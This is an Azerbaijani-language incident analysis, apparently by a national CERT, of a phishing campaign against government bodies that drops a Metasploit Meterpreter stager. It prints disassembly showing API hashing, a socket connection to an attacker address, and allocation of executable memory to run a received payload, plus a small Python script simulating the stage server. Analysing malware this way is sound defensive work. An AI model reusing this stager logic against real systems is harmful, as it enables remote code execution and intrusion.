Computer Emergency Response Center

Dövlət orqanlarını hədəf alan fişing hücümü və "Metasploit Meterpreter" yükünün analizi

Yerli dövlət orqanlarına göndərilən təhlükəli məktublar haqqında məlumat aldıqdan sonra şübhəli məktublardan birini araşdırmağa başladıq. Gələn məktub istifadəçini başqa bir ünvana yönləndirirdi. Bu ünvana daxil olduğumuz zaman dövlət orqanları üçün nəzərdə tutulmuş rəsmi e-poçt xidmətinin bənzəri ilə qarşılaşdıq (Fişinq).

Bu hissədə "hədəf" istifadəçi adı və şifrəni daxil etdikdən sonra web bələdçi pa.exe adında faylı sistemə endirir. Kodları analiz etmədən öncə icra edilə bilən faylın import tablosuna baxdıq. Burada import edilən 1 ədəd dinamik kitabxana faylı KERNEL32.DLL və sözügedən kitabxanaya aid 2 ədəd funksiya (VirtualAlloc, ExitProcess) var idi. Bu isə bizə kodların sıxışdırıldığı və ya shell kodlarından ibarət olduğu haqqında ipucu verirdi.

Daha dəqiq məlumat almaq üçün faylın statik analizinə başladıq və icra edilə bilən fayl içərisində shell kod olduğunu təyin etdik.

pop     rbp
mov     r14, 32335F327377h
push    r14
mov     r14, rsp
sub     rsp, 1A0h
mov     r13, rsp
mov     r12, 51E6145E901F0002h
push    r12
mov     r12, rsp
mov     rcx, r14
mov     r10d, 726774Ch
call    rbp

Zərərverici ilk olaraq PEB_LDR_DATA üzərindən proqramın yaddaşında olan modulların siyahısı (yaddaş sırasına görə) götürür.

Daha sonra bir bir modul adlarının hash dəyərlərini hesablayır.

Hash dəyəri hesablanan modulun yüklənmə (base) adresi götürülür və kitabxana fayllarını təhlil edərək export qovluğuna (IMAGE_EXPORT_DIRECTORY) baxır. Əgər NULL olarsa yuxarıdakı əməliyyatları yenidən növbəti modul üzərində təkrarlayır. Əgər export qovluğu mövcuddursa bu qovluğun təhlilinə başlayır. Ilk olaraq export edilən funksiyaları gəzir və yuxarıda göstərilən oxşar metod ilə hash əməliyyatını funksiya adları üzərində yenidən icra edir. Daha sonra modul adından aldığı hash dəyər ilə funksiya adının hash dəyərini toplayır və öncədən sub_1400040D6 rutinindən əldə etdiyi dəyər (lər) ilə qarşılaşdırır.

Əgər hash dəyərlər eyni olarsa sözü gedən kitabxanaya aid funksiya çağrılır. Əməliyyat zamanı ilk olaraq çağrılan funksiya KERNEL32.DLL kitabxanası içərisində olan LoadLibrary funksiyası oldu. Bu funksiyanı WS2_32.DLL kitabxanasını yaddaşına yükləmək üçün çağırırdı.

WS2_32.DLL kitabxanasını yaddaşa yüklədikdən sonra bu kitabxananın dəstəyi ilə bağlantı qurmağa cəhd edir. İlk olaraq WSAStartup ardınca isə WSASocket funksiyaları çağrılır.

.vdhx:000000014000410D                 push    101h
.vdhx:0000000140004112                 pop     rcx
.vdhx:0000000140004113                 mov     r10d, 6B8029h   ; WSAStartup
.vdhx:0000000140004119                 call    rbp
.vdhx:000000014000411B                 push    0Ah
.vdhx:000000014000411D                 pop     r14
.vdhx:000000014000411F
.vdhx:000000014000411F loc_14000411F:                          ; CODE XREF: sub_1400040D6+108↓j
.vdhx:000000014000411F                 push    rax
.vdhx:0000000140004120                 push    rax
.vdhx:0000000140004121                 xor     r9, r9
.vdhx:0000000140004124                 xor     r8, r8
.vdhx:0000000140004127                 inc     rax
.vdhx:000000014000412A                 mov     rdx, rax
.vdhx:000000014000412D                 inc     rax
.vdhx:0000000140004130                 mov     rcx, rax
.vdhx:0000000140004133                 mov     r10d, 0E0DF0FEAh ; WSASocketA
.vdhx:0000000140004139                 call    rbp

Bu əməliyyatlar uğurla icra olunduqdan  sonra isə qoşulma əməliyyatı üçün connect funksiyasını çağrılır.

Bağlantı adresi fəaliyyətini dayandırmışdı. Buna görə shellcodun nə etdiyini anlamaq üçün ip adresdə dəyişiklik (patch) edərək lokal ünvana 127.0.0.1:8080 yönləndirdik. Bundan sonra shellcode recv funksiyasını çağırır və socketdən 4 baytlıq məlumat oxuyur.

Əməliyyatı simulyasiya etmək üçün pythonda kiçik bir kod yazmalı olduq. conn.send əmri ilə shellkoda 4 baytlıq məlumat ("AAAA") göndərdik.

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1",8080))
s.listen(1)
conn, addr = s.accept()
conn.send(b'AAAA')

4 baytlıq məlumatı qəbul etdikdən sonra shellcode VirtualAlloc funksiyası ilə yaddaşda boş yer ayırır. Burada diqqətimizi çəkən məqam shellkodun VirtualAlloc funksiyasını çağırdığı zaman ayıracağı bölgənin həcmini bizim göndərdiyimiz 4 baytlıq məlumatdan alması idi.

Bir digər məqam isə VirtualAlloc funksiyasının sonuncu parametri (flProtect = 0x40) idi. Bu parametr ilə çağrılan funksiya sistemə ayrlan boş ərazidə kod icrasına icazə verdiyini bildirir.

PAGE_EXECUTE_READWRITE (0x40) - Enables execute, read-only, or read/write access to the committed region of pages.

Daha sonra isə 2. dəfə recv funskiyası çağrılır və bu dəfə qarşı tərəfdən "0x41414141" həcmində məlumatı oxuyur.

Göndəridyimiz məlumatın həcmi çox olacağı üçün shellcode daha çox recv funksiyası çağırmaq məcburiyyətində qalmaması üçün məlumat həcmini kiçik tutduq. 0x4 bayt həcmində məlumat göndərib shellcode son olaraq nə etdiyininə baxmaq istədik. Məlumatı oxuduqdan sonra onu ayrılan yaddaş bölgəsinə yazır və icra edir.

import struct

shellcode_len = struct.pack("<I", 4)
conn.send(shellcode_len)
conn.send(b'\x90\x90\xcc\xcc')

Press ESC to close